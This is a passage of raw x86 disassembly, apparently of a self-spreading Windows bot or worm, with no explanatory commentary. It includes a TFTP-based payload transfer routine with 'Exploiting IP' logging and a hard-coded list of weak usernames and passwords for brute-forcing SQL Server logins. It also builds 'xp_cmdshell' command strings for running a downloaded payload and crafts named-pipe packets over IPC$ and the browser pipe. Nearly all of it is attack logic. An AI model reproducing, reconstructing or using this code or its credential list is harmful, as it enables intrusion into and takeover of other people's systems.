loc_40E0BD push 10h lea eax, [ebp-24h] push ebx push eax call sub_41BC00 add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp+0A8h] call dword_4CE308 ; ntohs mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call dword_4CE348 ; inet_addr mov [ebp-20h], eax push ebx lea eax, [ebp-0Ch] push esi push eax lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DBEF mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40E03F push dword ptr [ebp-4] jmp short loc_40E0B7 ; --------------------------------------------------------------------------- loc_40E03F: ; CODE XREF: .XPack0:0040E038j mov edi, [ebp-4] lea eax, [ebp-24h] push 10h push eax push edi call dword_4CE2B0 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40E057 loc_40E054: ; CODE XREF: .XPack0:0040E069j push esi jmp short loc_40E0B0 ; --------------------------------------------------------------------------- loc_40E057: ; CODE XREF: .XPack0:0040E052j push ebx push 48h push offset dword_435098 push edi call dword_4CE358 ; send cmp eax, 0FFFFFFFFh jz short loc_40E054 mov esi, 1000h push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CE320 ; recv push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call dword_4CE358 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E098 push dword ptr [ebp-8] jmp short loc_40E0B0 ; --------------------------------------------------------------------------- loc_40E098: ; CODE XREF: .XPack0:0040E091j push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CE320 ; recv push dword ptr [ebp-8] cmp eax, 0FFFFFFFFh jnz short loc_40E0C4 loc_40E0B0: ; CODE XREF: .XPack0:0040E055j ; .XPack0:0040E096j call sub_41B721 pop ecx push edi loc_40E0B7: ; CODE XREF: .XPack0:0040E03Dj call dword_4CE3A0 ; closesocket loc_40E0BD: ; CODE XREF: .XPack0:0040DE70j ; .XPack0:0040DEBFj ... xor eax, eax jmp loc_40E17C ; --------------------------------------------------------------------------- loc_40E0C4: ; CODE XREF: .XPack0:0040E0AEj call sub_41B721 pop ecx push edi call dword_4CE3A0 ; closesocket loc_40E0D1: ; CODE XREF: .XPack0:0040DFA2j lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_41BEF6 add esp, 0Ch xor esi, esi loc_40E0EB: ; CODE XREF: .XPack0:0040E10Bj lea eax, [ebp-234h] push eax call sub_416026 test eax, eax pop ecx jnz short loc_40E10F push 1388h call dword_428080 ; Sleep inc esi cmp esi, 6 jl short loc_40E0EB jmp short loc_40E179 ; --------------------------------------------------------------------------- loc_40E10F: ; CODE XREF: .XPack0:0040E0FAj lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax lea eax, [ebp-234h] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_41BEF6 add esp, 10h cmp [ebp+0BCh], ebx jnz short loc_40E15B push ebx lea eax, [ebp-234h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409743 add esp, 14h loc_40E15B: ; CODE XREF: .XPack0:0040E13Cj lea eax, [ebp-234h] push eax call sub_415F45 mov eax, [ebp+0B0h] pop ecx shl eax, 6 lea eax, dword_434060[eax] inc dword ptr [eax] loc_40E179: ; CODE XREF: .XPack0:0040E10Dj xor eax, eax inc eax loc_40E17C: ; CODE XREF: .XPack0:0040E0BFj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1064h call sub_41C190 mov al, byte_4404C4 push ebx push esi push edi mov [ebp-1], al mov esi, offset aSa ; "sa" mov ecx, offset aRoot ; "root" mov eax, offset aAdmin ; "admin" xor edi, edi mov ebx, offset byte_4404C4 mov edx, offset aInternet ; "internet" mov [ebp-34h], esi mov [ebp-30h], ecx mov [ebp-2Ch], eax mov [ebp-28h], edi mov [ebp-264h], ebx mov dword ptr [ebp-260h], offset aAdministrator ; "administrator" mov dword ptr [ebp-25Ch], offset aAdministrador ; "administrador" mov dword ptr [ebp-258h], offset aAdministrateur ; "administrateur" mov dword ptr [ebp-254h], offset aAdministrat ; "administrat" mov dword ptr [ebp-250h], offset aAdmins ; "admins" mov [ebp-24Ch], eax mov dword ptr [ebp-248h], offset aAdm ; "adm" mov dword ptr [ebp-244h], offset aPassword1 ; "password1" mov dword ptr [ebp-240h], offset aPassword ; "password" mov dword ptr [ebp-23Ch], offset aPasswd ; "passwd" mov dword ptr [ebp-238h], offset aPass1234 ; "pass1234" mov dword ptr [ebp-234h], offset aPass ; "pass" mov dword ptr [ebp-230h], offset aPwd ; "pwd" mov dword ptr [ebp-22Ch], offset a007 ; "007" mov dword ptr [ebp-228h], offset a1 ; "1" mov dword ptr [ebp-224h], offset a12 ; "12" mov dword ptr [ebp-220h], offset a123 ; "123" mov dword ptr [ebp-21Ch], offset a1234 ; "1234" mov dword ptr [ebp-218h], offset a12345 ; "12345" mov dword ptr [ebp-214h], offset a123456 ; "123456" mov dword ptr [ebp-210h], offset a1234567 ; "1234567" mov dword ptr [ebp-20Ch], offset a12345678 ; "12345678" mov dword ptr [ebp-208h], offset a123456789 ; "123456789" mov dword ptr [ebp-204h], offset a1234567890 ; "1234567890" mov dword ptr [ebp-200h], offset a2000 ; "2000" mov dword ptr [ebp-1FCh], offset a2001 ; "2001" mov dword ptr [ebp-1F8h], offset a2002 ; "2002" mov dword ptr [ebp-1F4h], offset a2003 ; "2003" mov dword ptr [ebp-1F0h], offset a2004 ; "2004" mov dword ptr [ebp-1ECh], offset aTest ; "test" mov dword ptr [ebp-1E8h], offset aGuest ; "guest" mov dword ptr [ebp-1E4h], offset aNone ; "none" mov dword ptr [ebp-1E0h], offset aDemo ; "demo" mov dword ptr [ebp-1DCh], offset aUnix ; "unix" mov dword ptr [ebp-1D8h], offset aLinux ; "linux" mov dword ptr [ebp-1D4h], offset aChangeme ; "changeme" mov dword ptr [ebp-1D0h], offset aDefault ; "default" mov dword ptr [ebp-1CCh], offset aSystem ; "system" mov dword ptr [ebp-1C8h], offset aServer ; "server" mov [ebp-1C4h], ecx mov dword ptr [ebp-1C0h], offset aNull ; "null" mov dword ptr [ebp-1BCh], offset aQwerty ; "qwerty" mov dword ptr [ebp-1B8h], offset aMail ; "mail" mov dword ptr [ebp-1B4h], offset aOutlook ; "outlook" mov dword ptr [ebp-1B0h], offset aWeb ; "web" mov dword ptr [ebp-1ACh], offset aWww ; "www" mov [ebp-1A8h], edx mov dword ptr [ebp-1A4h], offset aAccounts ; "accounts" mov dword ptr [ebp-1A0h], offset aAccounting ; "accounting" mov dword ptr [ebp-19Ch], offset aHome ; "home" mov dword ptr [ebp-198h], offset aHomeuser ; "homeuser" mov dword ptr [ebp-194h], offset aUser ; "user" mov dword ptr [ebp-190h], offset aOem ; "oem" mov dword ptr [ebp-18Ch], offset aOemuser ; "oemuser" mov dword ptr [ebp-188h], offset aOeminstall ; "oeminstall" mov dword ptr [ebp-184h], offset aWindows ; "windows" mov dword ptr [ebp-180h], offset aWin98 ; "win98" mov dword ptr [ebp-17Ch], offset aWin2k ; "win2k" mov dword ptr [ebp-178h], offset aWinxp ; "winxp" mov dword ptr [ebp-174h], offset aWinnt ; "winnt" mov dword ptr [ebp-170h], offset aWin2000 ; "win2000" mov dword ptr [ebp-16Ch], offset aQaz ; "qaz" mov dword ptr [ebp-168h], offset aAsd ; "asd" mov ecx, offset aBob ; "bob" mov eax, offset aPeter ; "peter" mov dword ptr [ebp-164h], offset aZxc ; "zxc" mov dword ptr [ebp-160h], offset aQwe ; "qwe" mov [ebp-15Ch], ecx mov dword ptr [ebp-158h], offset aJen ; "jen" mov dword ptr [ebp-154h], offset aJoe ; "joe" mov dword ptr [ebp-150h], offset aFred ; "fred" mov dword ptr [ebp-14Ch], offset aBill ; "bill" mov dword ptr [ebp-148h], offset aMike ; "mike" mov dword ptr [ebp-144h], offset aJohn ; "john" mov [ebp-140h], eax mov dword ptr [ebp-13Ch], offset aLuke ; "luke" mov dword ptr [ebp-138h], offset aSam ; "sam" mov dword ptr [ebp-134h], offset aSue ; "sue" mov dword ptr [ebp-130h], offset aSusan ; "susan" mov [ebp-12Ch], eax mov dword ptr [ebp-128h], offset aBrian ; "brian" mov dword ptr [ebp-124h], offset aLee ; "lee" mov dword ptr [ebp-120h], offset aNeil ; "neil" mov dword ptr [ebp-11Ch], offset aIan ; "ian" mov dword ptr [ebp-118h], offset aChris ; "chris" mov dword ptr [ebp-114h], offset aEric ; "eric" mov dword ptr [ebp-110h], offset aGeorge ; "george" mov dword ptr [ebp-10Ch], offset aKate ; "kate" mov [ebp-108h], ecx mov dword ptr [ebp-104h], offset aKatie ; "katie" mov dword ptr [ebp-100h], offset aMary ; "mary" mov dword ptr [ebp-0FCh], offset aLogin ; "login" mov dword ptr [ebp-0F8h], offset aLoginpass ; "loginpass" mov dword ptr [ebp-0F4h], offset aTechnical ; "technical" mov dword ptr [ebp-0F0h], offset aBackup ; "backup" mov dword ptr [ebp-0ECh], offset aExchange ; "exchange" mov dword ptr [ebp-0E8h], offset aFuck ; "fuck" mov dword ptr [ebp-0E4h], offset aBitch ; "bitch" mov dword ptr [ebp-0E0h], offset aSlut ; "slut" mov dword ptr [ebp-0DCh], offset aSex ; "sex" mov dword ptr [ebp-0D8h], offset aGod ; "god" mov dword ptr [ebp-0D4h], offset aHell ; "hell" mov dword ptr [ebp-0D0h], offset aHello ; "hello" mov dword ptr [ebp-0CCh], offset aDomain ; "domain" mov dword ptr [ebp-0C8h], offset aDomainpass ; "domainpass" mov dword ptr [ebp-0C4h], offset aDomainpassword ; "domainpassword" mov dword ptr [ebp-0C0h], offset aDatabase ; "database" mov dword ptr [ebp-0BCh], offset aAccess ; "access" mov dword ptr [ebp-0B8h], offset aDbpass ; "dbpass" mov dword ptr [ebp-0B4h], offset aDbpassword ; "dbpassword" mov dword ptr [ebp-0B0h], offset aDatabasepass ; "databasepass" mov dword ptr [ebp-0ACh], offset aData ; "data" mov dword ptr [ebp-0A8h], offset aDatabasepasswo ; "databasepassword" mov dword ptr [ebp-0A4h], offset aDb1 ; "db1" mov dword ptr [ebp-0A0h], offset aDb2 ; "db2" mov dword ptr [ebp-9Ch], offset aDb1234 ; "db1234" mov [ebp-98h], esi mov dword ptr [ebp-94h], offset aSql ; "sql" mov dword ptr [ebp-90h], offset aSqlpassoainsta ; "sqlpassoainstall" mov dword ptr [ebp-8Ch], offset aOrainstall ; "orainstall" mov dword ptr [ebp-88h], offset aOracle ; "oracle" mov dword ptr [ebp-84h], offset aIbm ; "ibm" mov dword ptr [ebp-80h], offset aCisco ; "cisco" mov dword ptr [ebp-7Ch], offset aDell ; "dell" mov dword ptr [ebp-78h], offset aCompaq ; "compaq" mov dword ptr [ebp-74h], offset aSiemens ; "siemens" mov dword ptr [ebp-70h], offset aHp ; "hp" mov dword ptr [ebp-6Ch], offset aNokia ; "nokia" mov dword ptr [ebp-68h], offset aXp ; "xp" mov dword ptr [ebp-64h], offset aControl ; "control" mov dword ptr [ebp-60h], offset aOffice ; "office" mov dword ptr [ebp-5Ch], offset aBlank ; "blank" mov dword ptr [ebp-58h], offset aWinpass ; "winpass" mov dword ptr [ebp-54h], offset aMain ; "main" mov dword ptr [ebp-50h], offset aLan ; "lan" mov [ebp-4Ch], edx mov dword ptr [ebp-48h], offset aIntranet ; "intranet" mov dword ptr [ebp-44h], offset aStudent ; "student" mov dword ptr [ebp-40h], offset aTeacher ; "teacher" mov dword ptr [ebp-3Ch], offset aStaff ; "staff" mov [ebp-38h], edi mov [ebp-20h], edi mov [ebp-10h], edi mov [ebp-14h], edi lea eax, [ebp-18h] push eax push edi push 1 call dword_4CE284 test ax, ax jnz short loc_40E70F push 0FFFFFFFAh push 3 push 0C8h push dword ptr [ebp-18h] call dword_4CE390 test ax, ax jz short loc_40E716 loc_40E70F: ; CODE XREF: .XPack0:0040E6F6j xor eax, eax jmp loc_40E93A ; --------------------------------------------------------------------------- loc_40E716: ; CODE XREF: .XPack0:0040E70Dj lea eax, [ebp-10h] push eax push dword ptr [ebp-18h] push 2 call dword_4CE284 test ax, ax jnz loc_40E92D mov [ebp-1Ch], esi mov esi, dword_428080 mov [ebp-0Ch], edi loc_40E73A: ; CODE XREF: .XPack0:0040E887j mov [ebp-8], edi mov eax, ebx loc_40E73F: ; CODE XREF: .XPack0:0040E7B6j lea ecx, [ebp-1] push ecx push eax push dword ptr [ebp-1Ch] lea eax, [ebp+0Ch] push dword ptr [ebp+0A8h] push eax lea eax, [ebp-0C64h] push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"... push eax call sub_41BEF6 add esp, 1Ch lea eax, [ebp-22h] push edi push eax lea eax, [ebp-1064h] push 400h push eax lea eax, [ebp-0C64h] push eax call sub_41B650 pop ecx push eax lea eax, [ebp-0C64h] push eax push edi push dword ptr [ebp-10h] call dword_4CE344 cmp ax, di jz short loc_40E7BD cmp ax, 1 jz short loc_40E7BD push 1F4h call esi ; Sleep inc dword ptr [ebp-8] mov eax, [ebp-8] mov eax, [ebp+eax*4-264h] cmp eax, edi jnz short loc_40E73F jmp loc_40E878 ; --------------------------------------------------------------------------- loc_40E7BD: ; CODE XREF: .XPack0:0040E798j ; .XPack0:0040E79Ej lea eax, [ebp-14h] push eax push dword ptr [ebp-10h] push 3 call dword_4CE284 mov eax, offset byte_42AA54 push eax push eax call sub_41BF52 push eax call sub_41BF52 push eax push dword_4CE048 push dword ptr [ebp+8] call sub_40A8D5 pop ecx push eax lea eax, [ebp-864h] push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"... push eax call sub_41BEF6 add esp, 20h lea eax, [ebp-864h] push 0FFFFFFFDh push eax push dword ptr [ebp-14h] call dword_4CE2CC test ax, ax jz short loc_40E86D push 1388h call esi ; Sleep push offset byte_42AA54 lea eax, [ebp-864h] push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'" push eax call sub_41BEF6 lea eax, [ebp+0Ch] push eax lea eax, [ebp-464h] push offset dword_435668 push eax call sub_41BEF6 add esp, 18h lea eax, [ebp-864h] push 0FFFFFFFDh push eax push dword ptr [ebp-14h] call dword_4CE2CC test ax, ax jz short loc_40E892 push 1388h call esi ; Sleep loc_40E86D: ; CODE XREF: .XPack0:0040E818j push dword ptr [ebp-14h] push 3 call dword_4CE324 loc_40E878: ; CODE XREF: .XPack0:0040E7B8j inc dword ptr [ebp-0Ch] mov eax, [ebp-0Ch] mov eax, [ebp+eax*4-34h] cmp eax, edi mov [ebp-1Ch], eax jnz loc_40E73A jmp loc_40E91F ; --------------------------------------------------------------------------- loc_40E892: ; CODE XREF: .XPack0:0040E864j mov eax, [ebp-8] mov dword ptr [ebp-20h], 1 push dword ptr [ebp+eax*4-264h] mov eax, [ebp-0Ch] push dword ptr [ebp+eax*4-34h] lea eax, [ebp+0Ch] push dword ptr [ebp+0A8h] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset dword_435628 lea eax, [ebp-464h] push 200h push eax call sub_41BFF0 add esp, 20h cmp [ebp+0BCh], edi jnz short loc_40E901 push edi lea eax, [ebp-464h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409743 add esp, 14h loc_40E901: ; CODE XREF: .XPack0:0040E8E2j lea eax, [ebp-464h] push eax call sub_415F45 mov eax, [ebp+0B0h] pop ecx shl eax, 6 lea eax, dword_434060[eax] inc dword ptr [eax] loc_40E91F: ; CODE XREF: .XPack0:0040E88Dj push dword ptr [ebp-10h] push 2 call dword_4CE324 mov edi, [ebp-20h] loc_40E92D: ; CODE XREF: .XPack0:0040E728j push dword ptr [ebp-18h] push 1 call dword_4CE324 mov eax, edi loc_40E93A: ; CODE XREF: .XPack0:0040E711j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40E93F proc near ; DATA XREF: .XPack0:0042A00Co jmp $+5 sub_40E93F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E944 proc near mov eax, dword_435900 add eax, 6 mov dword_4D1014, eax retn sub_40E944 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E952 proc near ; CODE XREF: sub_40E952+D0p ; sub_40EA40+484p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40E966 or [ebp+arg_7], 1 jmp short loc_40E96A ; --------------------------------------------------------------------------- loc_40E966: ; CODE XREF: sub_40E952+Cj and [ebp+arg_7], 0FEh loc_40E96A: ; CODE XREF: sub_40E952+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40E98E or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40E9A0 ; --------------------------------------------------------------------------- loc_40E98E: ; CODE XREF: sub_40E952+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40E9A0: ; CODE XREF: sub_40E952+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41BB45 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40EA39 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call near ptr sub_41C9B0 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call dword_4280F0 ; WriteFile test eax, eax jz short loc_40EA30 mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40EA30 push [ebp+arg_20] call sub_41B721 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40EA2C push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40E952 add esp, 2Ch jmp short loc_40EA3B ; --------------------------------------------------------------------------- loc_40EA2C: ; CODE XREF: sub_40E952+B3j mov al, 1 jmp short loc_40EA3B ; --------------------------------------------------------------------------- loc_40EA30: ; CODE XREF: sub_40E952+9Cj ; sub_40E952+A4j push [ebp+arg_20] call sub_41B721 pop ecx loc_40EA39: ; CODE XREF: sub_40E952+61j xor al, al loc_40EA3B: ; CODE XREF: sub_40E952+D8j ; sub_40E952+DCj pop edi pop esi pop ebx leave retn sub_40E952 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EA40 proc near ; CODE XREF: .XPack0:0040EFAAp ; .XPack0:0040EFD1p var_60E0 = byte ptr -60E0h var_40E0 = byte ptr -40E0h var_20E0 = byte ptr -20E0h var_E0 = byte ptr -0E0h var_CC = dword ptr -0CCh var_C0 = byte ptr -0C0h var_BC = byte ptr -0BCh var_BB = byte ptr -0BBh var_BA = byte ptr -0BAh var_B9 = byte ptr -0B9h var_B8 = dword ptr -0B8h var_B4 = word ptr -0B4h var_B2 = word ptr -0B2h var_B0 = dword ptr -0B0h var_AC = word ptr -0ACh var_AA = word ptr -0AAh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = word ptr -0A0h var_9E = byte ptr -9Eh var_9C = byte ptr -9Ch var_8C = dword ptr -8Ch var_88 = byte ptr -88h var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = qword ptr -68h var_60 = byte ptr -60h var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_42 = word ptr -42h var_40 = dword ptr -40h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = qword ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A8 = dword ptr 0B0h arg_BC = dword ptr 0C4h push ebp mov ebp, esp mov eax, 60E0h call sub_41C190 push ebx push esi push edi lea eax, [ebp+arg_4] push offset a_ ; "." push eax call sub_41D800 pop ecx xor ebx, ebx test eax, eax pop ecx mov esi, 2000h jz short loc_40EAB4 lea eax, [ebp+arg_4] push eax push offset aSIpc ; "\\\\%s\\ipc$" lea eax, [ebp+var_20E0] push esi push eax call sub_41BFF0 push 20h lea eax, [ebp+var_E0] push ebx push eax call sub_41BC00 lea eax, [ebp+var_20E0] add esp, 1Ch mov [ebp+var_CC], eax mov eax, offset byte_4404C4 push ebx push eax push eax lea eax, [ebp+var_E0] push eax call dword_4CE3B0 loc_40EAB4: ; CODE XREF: sub_40EA40+29j lea eax, [ebp+arg_4] push eax push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" lea eax, [ebp+var_40E0] push esi push eax call sub_41BFF0 add esp, 10h lea eax, [ebp+var_40E0] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_4280F8 ; CreateFileA cmp eax, 0FFFFFFFFh mov dword ptr [ebp+var_C+4], eax jnz short loc_40EAF9 loc_40EAF2: ; CODE XREF: sub_40EA40+266j ; sub_40EA40+371j ... xor eax, eax jmp loc_40EF90 ; --------------------------------------------------------------------------- loc_40EAF9: ; CODE XREF: sub_40EA40+B0j push 48h lea eax, [ebp+var_BC] push ebx push eax call sub_41BC00 push 10h xor edi, edi pop eax inc edi mov [ebp+var_B8], eax push eax lea eax, [ebp+var_9C] push offset dword_435954 push eax mov [ebp+var_BC], 5 mov [ebp+var_BB], bl mov [ebp+var_BA], 0Bh mov [ebp+var_B9], 3 mov [ebp+var_B4], 48h mov [ebp+var_B2], bx mov [ebp+var_B0], ebx mov [ebp+var_AC], 10B8h mov [ebp+var_AA], 10B8h mov [ebp+var_A8], ebx mov [ebp+var_A4], edi mov [ebp+var_A0], bx mov [ebp+var_9E], 1 call near ptr sub_41C9B0 push 10h lea eax, [ebp+var_88] push offset dword_435940 push eax mov [ebp+var_8C], 3 call near ptr sub_41C9B0 add esp, 24h lea eax, [ebp+var_C0] mov [ebp+var_78], 2 push ebx push eax lea eax, [ebp+var_BC] push 48h push eax push dword ptr [ebp+var_C+4] call dword_4280F0 ; WriteFile test eax, eax jz loc_40EC9D lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_60E0] push esi push eax push dword ptr [ebp+var_C+4] call dword_4280EC ; ReadFile push ebx call sub_41D71B push eax call sub_41BF48 push 14h lea eax, [ebp+var_74] push 41h push eax call sub_41BC00 push 1Ch lea eax, [ebp+var_34] push 41h push eax call sub_41BC00 add esp, 20h call sub_41BF52 mov esi, [ebp+arg_BC] mov [ebp+var_74], eax mov dword ptr [ebp+var_68], edi mov [ebp+var_6C], ebx lea esi, [esi+esi*4] mov [ebp+var_70], edi shl esi, 2 mov word ptr [ebp+var_68+4], bx mov [ebp+var_2C], ebx cmp byte_4358E8[esi], bl jz short loc_40EC46 push 4 mov [ebp+var_28], edi mov [ebp+var_30], edi push offset dword_4D1018 jmp short loc_40EC56 ; --------------------------------------------------------------------------- loc_40EC46: ; CODE XREF: sub_40EA40+1F5j push 2 pop eax push 4 mov [ebp+var_28], eax mov [ebp+var_30], eax push (offset loc_435937+1) loc_40EC56: ; CODE XREF: sub_40EA40+204j lea eax, [ebp+var_24] push eax call near ptr sub_41C9B0 add esp, 0Ch call sub_41BF52 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_34], edx call sub_41BF52 cdq idiv edi mov eax, dword_4358DC[esi] mov [ebp+var_1C], ebx push eax mov [ebp+arg_BC], eax inc edx mov [ebp+var_20], edx call sub_41BB45 mov edi, eax pop ecx cmp edi, ebx jnz short loc_40ECAB loc_40EC9D: ; CODE XREF: sub_40EA40+186j push dword ptr [ebp+var_C+4] call dword_428070 ; CloseHandle jmp loc_40EAF2 ; --------------------------------------------------------------------------- loc_40ECAB: ; CODE XREF: sub_40EA40+25Bj mov eax, [ebp+arg_BC] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41BC00 mov eax, [ebp+arg_BC] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41BC00 mov eax, dword_4358E4[esi] push 7 add eax, edi push offset dword_4358D0 push eax mov [ebp+var_4], eax call near ptr sub_41C9B0 mov eax, [ebp+var_4] push 15Ch add eax, 7 push offset dword_435770 push eax call near ptr sub_41C9B0 mov eax, dword_4358E0[esi] add esp, 30h mov [ebp+var_4], eax add eax, edi cmp byte_4358E8[esi], bl jz short loc_40ED62 push 4 push offset dword_4D1014 push eax call near ptr sub_41C9B0 add [ebp+var_4], 0Ch mov esi, offset dword_435900 mov eax, [ebp+var_4] push 4 add eax, edi push esi push eax call near ptr sub_41C9B0 mov eax, [ebp+var_4] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+var_4], eax call near ptr sub_41C9B0 mov eax, [ebp+var_4] push 4 add eax, 0Ch push esi push eax call near ptr sub_41C9B0 add esp, 30h jmp short loc_40ED88 ; --------------------------------------------------------------------------- loc_40ED62: ; CODE XREF: sub_40EA40+2D5j mov [ebp+var_4], eax mov dword ptr [ebp+var_C], 10h mov esi, offset dword_435900 loc_40ED71: ; CODE XREF: sub_40EA40+346j push 4 push esi push [ebp+var_4] call near ptr sub_41C9B0 add [ebp+var_4], 4 add esp, 0Ch dec dword ptr [ebp+var_C] jnz short loc_40ED71 loc_40ED88: ; CODE XREF: sub_40EA40+320j mov eax, [ebp+arg_BC] add eax, 42h push eax call sub_41BB45 mov esi, eax pop ecx cmp esi, ebx mov dword ptr [ebp+var_C], esi jnz short loc_40EDB6 push dword ptr [ebp+var_C+4] call dword_428070 ; CloseHandle push edi call sub_41B721 pop ecx jmp loc_40EAF2 ; --------------------------------------------------------------------------- loc_40EDB6: ; CODE XREF: sub_40EA40+35Fj mov eax, [ebp+arg_BC] add eax, 42h push eax push ebx ; double push esi call sub_41BC00 lea eax, [ebp+var_74] push 14h push eax push esi call near ptr sub_41C9B0 mov eax, [ebp+arg_BC] mov dword ptr [ebp+var_14+4], ebx mov dword ptr [ebp+var_14], eax add esp, 10h fild [ebp+var_14] fmul flt_428694 fstp [esp+0Ch+var_C] call sub_41CE2B call sub_41CE04 push [ebp+arg_BC] mov [esi+1Ch], eax mov [esi+14h], eax lea eax, [esi+20h] push edi push eax mov [esi+18h], ebx call near ptr sub_41C9B0 mov eax, [ebp+arg_BC] add esp, 14h add eax, 20h test al, 3 mov [ebp+var_4], eax jz short loc_40EE2C loc_40EE24: ; CODE XREF: sub_40EA40+3E7j inc eax test al, 3 jnz short loc_40EE24 mov [ebp+var_4], eax loc_40EE2C: ; CODE XREF: sub_40EA40+3E2j lea ecx, [ebp+var_34] push 1Ch add eax, esi push ecx push eax call near ptr sub_41C9B0 add [ebp+var_4], 1Ch push edi call sub_41B721 push 18h lea eax, [ebp+var_4C] push ebx push eax call sub_41BC00 push 14h lea eax, [ebp+var_60] push ebx push eax mov [ebp+var_4C], 5 mov [ebp+var_4B], bl mov [ebp+var_4A], bl mov [ebp+var_49], 3 mov [ebp+var_48], 10h mov [ebp+var_42], bx mov [ebp+var_40], ebx mov [ebp+var_38], bx mov [ebp+var_36], 1Fh call sub_41BC00 add esp, 28h push ebx push ebx push 1 push ebx call dword_4280FC ; CreateEventA mov [ebp+var_50], eax mov byte ptr [ebp+arg_BC+3], bl mov dword ptr [ebp+var_14+4], ebx loc_40EE9C: ; CODE XREF: sub_40EA40+51Ej cmp dword ptr [ebp+var_14+4], 2 jge loc_40EF69 push 1 push 10B8h push [ebp+var_4] inc dword ptr [ebp+var_14+4] push esi lea esi, [ebp+var_4C] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp+var_C+4] rep movsd call sub_40E952 add esp, 2Ch test al, al jz loc_40EF66 cmp [ebp+var_50], ebx jz short loc_40EF55 lea eax, [ebp+var_60] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_60E0] push 2000h push eax push dword ptr [ebp+var_C+4] call dword_4280EC ; ReadFile test eax, eax jnz short loc_40EF0B call dword_428094 ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_40EAF2 loc_40EF0B: ; CODE XREF: sub_40EA40+4B8j push 3E8h push [ebp+var_50] call dword_4280A8 ; WaitForSingleObject cmp eax, 102h jnz short loc_40EF55 push 65h lea esi, [ebp+arg_0] sub esp, 0BCh mov byte ptr [ebp+arg_BC+3], 1 push 2Fh pop ecx mov edi, esp rep movsd call sub_40C6DC mov eax, [ebp+arg_A8] add esp, 0C0h shl eax, 6 lea eax, dword_434060[eax] inc dword ptr [eax] loc_40EF55: ; CODE XREF: sub_40EA40+497j ; sub_40EA40+4DEj cmp byte ptr [ebp+arg_BC+3], bl mov esi, dword ptr [ebp+var_C] jz loc_40EE9C jmp short 